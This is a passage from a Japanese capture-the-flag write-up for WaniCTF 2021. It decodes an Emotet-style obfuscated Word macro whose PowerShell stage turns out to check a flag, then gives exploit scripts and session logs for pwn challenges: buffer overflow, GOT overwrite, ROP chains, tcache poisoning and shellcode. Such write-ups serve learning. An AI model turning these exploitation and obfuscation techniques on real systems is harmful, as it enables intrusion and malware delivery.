Base64Decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl" & _ "l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9" & _ "3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n" & _ "d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==") cleartext = "" For i = LBound(ciphertext) To UBound(ciphertext) cleartext = cleartext & Chr(key(i + start) Xor ciphertext(i)) Next unxor = cleartext End Function ------------------------------------------------------------------------------- VBA MACRO ThisDocument in file: emoemotet.doc - OLE stream: 'ThisDocument' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (empty macro) +----------+--------------------+---------------------------------------------+ |Type |Keyword |Description | +----------+--------------------+---------------------------------------------+ |AutoExec |AutoOpen |Runs when the Word document is opened | |Suspicious|Run |May run an executable file or a system | | | |command | |Suspicious|CreateObject |May create an OLE object | |Suspicious|Chr |May attempt to obfuscate specific strings | | | |(use option --deobf to deobfuscate) | |Suspicious|Xor |May attempt to obfuscate specific strings | | | |(use option --deobf to deobfuscate) | |Suspicious|Base64 Strings |Base64-encoded strings were detected, may be | | | |used to obfuscate strings (option --decode to| | | |see all) | +----------+--------------------+---------------------------------------------+
このスクリプトをpythonで書き直すと以下のようになります。
def Array(*args): return list(args) def unxor(ciphertext, start): key = base64.b64decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkll3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh93K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6nd1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==") cleartext = b"" for i in range(len(ciphertext)): cleartext += bytes([key[i+start] ^ ciphertext[i]]) return cleartext x = unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) x += unxor(Array(201, 1), 14) x += unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) x += unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) x += unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) x += unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) x += unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) x += unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) x += unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) x += unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) x += unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) x += unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) x += unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) x += unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) x += unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) x += unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) x += unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) x += unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312) print(x)
実行すると次の出力が得られます。
b'WScript.Shellpowershell -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA'
powershellで何か実行しているようです。powershellの-e
はbase64でエンコードされたスクリプトを実行するオプションです。-e
以下の部分をbase64デコードし、印字可能な部分だけ取り出すと次のようになります。
.('ieX')(nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()
上のコードはbc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp...
をbase64デコードしてdeflateで解凍し、得られたスクリプトを実行するという処理を行います。
次のコードでbase64デコードして解凍する部分までの処理を行いました。
$encoded = 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ==' $sr = New-Object System.IO.StreamReader(New-Object System.IO.Compression.DeflateStream([IO.MemoryStream][System.Convert]::FromBase64String($encoded), [System.IO.Compression.CompressionMode]::Decompress)) $sr.ReadToEnd()
powershellで実行すると、FLAGをチェックするスクリプトが得られます。
$ .\emoemotet.ps1 echo "Yes, we love VBA!" $input = Read-Host "Password" if ($input -eq "FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}") { Write-Output "Correct!" } else { Write-Output "Incorrect" }
よって、フラグは、FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}
となります。
Pwn
nc
netcatでサーバーに接続して、cat flag.txt
を実行するとフラグが得られます。
$ nc nc.pwn.wanictf.org 9001 welcome to WaniCTF 2021!!! ls chall flag.txt redir.sh cat flag.txt FLAG{the-1st-step-to-pwn-is-netcatting}
BOF
BOFでokの値を書き換えるとフラグが表示されます。
$ python3 -c 'print("A" * 0x40)' | nc bof.pwn.wanictf.org 9002 ふっかつのじゅもんを いれてください よくぞもどられた! FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}
GOT rewriter
0x600000~0x700000の任意のアドレスに任意の値を書き込めるので、printfあたりのGOTをwinのアドレスに書き換えるとフラグが得られます。
$ objdump -d got -j .plt | grep printf -A 2 00000000004006d0 <printf@plt>: 4006d0: ff 25 62 09 20 00 jmpq *0x200962(%rip) # 601038 <printf@GLIBC_2.2.5> 4006d6: 68 04 00 00 00 pushq $0x4 4006db: e9 a0 ff ff ff jmpq 400680 <.plt> $ nc got-rewriter.pwn.wanictf.org 9003 Welcome to GOT rewriter!!! win = 0x400807 Please input target address (0x600000-0x700000): 0x601038 Your input address is 0x601038. Please input rewrite value: 0x400807 Your input rewrite value is 0x400807. *0x601038 <- 0x400807. congratulation! ls chall flag.txt redir.sh cat flag.txt FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}
rop-machine-returns
以下の手順で解きました。
append "rop rdi; ret"
append hex value
で/bin/sh
のアドレスを追加append "system" addr
- execute rop
$ nc rop-machine-returns.pwn.wanictf.org 9004 welcome to rop-machine-returns!!! "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "system" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 9 rop_arena +--------------------+ > 2 "pop rdi; ret" is appended > 1 hex value?: 0x404070 0x0000000000404070 is appended > 3 "system" is appended > 0 rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | system | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{please-learn-how-to-use-rop-machine}
baby heap
tcache poisoningでリターンアドレスを書き換える問題です。
以下の手順で解きました。
heap_list[0]
をmallocheap_list[1]
をmallocheap_list[0]
をfreeheap_list[1]
をfreeheap_list[1]
にmain関数のリターンアドレスを書き込むheap_list[2]
をmallocheap_list[3]
をmallocheap_list[3]
にsystem("/bin/sh")
のアドレスを書き込む- exit
7でmain関数のリターンアドレスが確保され、そこにsystem("/bin/sh")
のアドレスを書き込むことでexitしたときにsystem("/bin/sh")
が実行されます。
$ nc babyheap.pwn.wanictf.org 9006 Do arbitrary write using tcache bin. ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31 malloc is fixed at size 0x10 system('/bin/sh') at >0x559d3da6b342 Return address of main at >0x7ffffc13bb58 Bin count >0 !! Segfault may happen when fd isn't readable address fd >>> ↑ Will be allocated for the next malloc [0] : Not Allocated [1] : Not Allocated [2] : Not Allocated [3] : Not Allocated [4] : Not Allocated --------------- 1. malloc 2. free 3. write 4. exit >1 Where? >0 ... Do arbitrary write using tcache bin. ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31 malloc is fixed at size 0x10 system('/bin/sh') at >0x559d3da6b342 Return address of main at >0x7ffffc13bb58 Bin count >0 !! Segfault may happen when fd isn't readable address fd >>> ↑ Will be allocated for the next malloc [0] : Free Chunk Chunk at>0x559d3dc152c0 fd : 0x0 [1] : Allocated Chunk Chunk at>0x559d3dc152e0 Data : [2] : Allocated Chunk Chunk at>0x559d3dc152e0 Data : [3] : Allocated Chunk Chunk at>0x7ffffc13bb58 Data : B��=�U [4] : Not Allocated --------------- 1. malloc 2. free 3. write 4. exit >4 ls chall flag.txt redir.sh cat flag.txt FLAG{This_is_Hint_for_the_diva}
rop-machine-final
次の処理を行うROPを組みました。
gets(buf); open(buf, O_RDONLY); read(3, buf, 0x100); write(1, buf, 0x100);
gets(buf)が実行されたときにflag.txt
を入力すると、flag.txt
の内容がbufに読みだされ、出力されます。
from pwn import * p = remote("rop-machine-final.pwn.wanictf.org", 9005) p.recvuntil(b'"buf" address is') buf_addr = int(p.recvline().strip(), 16) def push(x): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b": ") p.sendline(hex(x).encode()) def pop_rdi(): p.recvuntil(b"> ") p.sendline(b"2") def pop_rsi(): p.recvuntil(b"> ") p.sendline(b"3") def pop_rdx(): p.recvuntil(b"> ") p.sendline(b"4") def gets(buf): pop_rdi(); push(buf) p.recvuntil(b"> ") p.sendline(b"5") def open(path, opt): pop_rdi(); push(path) pop_rsi(); push(opt) p.recvuntil(b"> ") p.sendline(b"6") def read(fd, buf, size): pop_rdi(); push(fd) pop_rsi(); push(buf) pop_rdx(); push(size) p.recvuntil(b"> ") p.sendline(b"7") def write(fd, buf, size): pop_rdi(); push(fd) pop_rsi(); push(buf) pop_rdx(); push(size) p.recvuntil(b"> ") p.sendline(b"8") def exec(): p.recvuntil(b"> ") p.sendline(b"0") gets(buf_addr) open(buf_addr, 0) read(3, buf_addr, 0x100) write(1, buf_addr, 0x100) exec() p.interactive()
$ python3 solve.py [+] Opening connection to rop-machine-final.pwn.wanictf.org on port 9005: Done [*] Switching to interactive mode cmd = 0x0 rop_arena +-----------------------------------+ | 0x000000000040138c (pop rdi; ret) |<- rop start +-----------------------------------+ | 0x0000000000000000000000000404140 | +-----------------------------------+ | 0x00007f0bb564c190 (gets ) | +-----------------------------------+ | 0x000000000040138c (pop rdi; ret) | +-----------------------------------+ | 0x0000000000000000000000000404140 | +-----------------------------------+ | 0x0000000000401399 (pop rsi; ret) | +-----------------------------------+ | 0x0000000000000000000000000000000 | +-----------------------------------+ | 0x00007f0bb56dbd10 (open ) | +-----------------------------------+ | 0x000000000040138c (pop rdi; ret) | +-----------------------------------+ | 0x0000000000000000000000000000003 | +-----------------------------------+ | 0x0000000000401399 (pop rsi; ret) | +-----------------------------------+ | 0x0000000000000000000000000404140 | +-----------------------------------+ | 0x00000000004013a6 (pop rdx; ret) | +-----------------------------------+ | 0x0000000000000000000000000000100 | +-----------------------------------+ | 0x00007f0bb56dc140 (read ) | +-----------------------------------+ | 0x000000000040138c (pop rdi; ret) | +-----------------------------------+ | 0x0000000000000000000000000000001 | +-----------------------------------+ | 0x0000000000401399 (pop rsi; ret) | +-----------------------------------+ | 0x0000000000000000000000000404140 | +-----------------------------------+ | 0x00000000004013a6 (pop rdx; ret) | +-----------------------------------+ | 0x0000000000000000000000000000100 | +-----------------------------------+ | 0x00007f0bb56dc210 (write ) | +-----------------------------------+ $ flag.txt FLAG{you-might-be-the-real-rop-master} \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00\x13\x00\x00\x00\x13\x00\x00\x00\xc1d\xb5\x0b\x00\x10m\xb5\x0b\x00@\xc1m\xb5\x0b\x00\x10m\xb5\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Segmentation fault (core dumped) [*] Got EOF while reading in interactive
tarinai
rbpの下位2byteを書き換えることができます。
rbpを~Nameのアドレス-8~にしておくと、main関数のretでNameの最初の8byteのアドレスに飛ばすことができます。よって、Nameを以下のようにするとシェルが取れます。
name_addr: Nameのアドレス char Name[256] +---------------------------+ 0 | name_addr + 8 | (8 byte) +---------------------------+ 8 | shellcode | +---------------------------+ | ... | +---------------------------+ 256 | (name_addr & 0xff) - 8 | (1 byte) +---------------------------+ 257 | (name_addr & 0xff00) >> 8 | (1 byte) +---------------------------+
from pwn import * #p = process('./chall') p = remote('tarinai.pwn.wanictf.org', 9007) context.binary = "./chall" p.recvuntil(b'@>') name_addr = int(p.recvline().strip(), 16) payload = p64(name_addr + 8) payload += asm(shellcraft.sh()) payload += b'\x90' * (256 - len(payload)) payload += bytes([(name_addr & 0xff) - 8, (name_addr & 0xff00) >> 8]) p.send(payload) p.interactive()
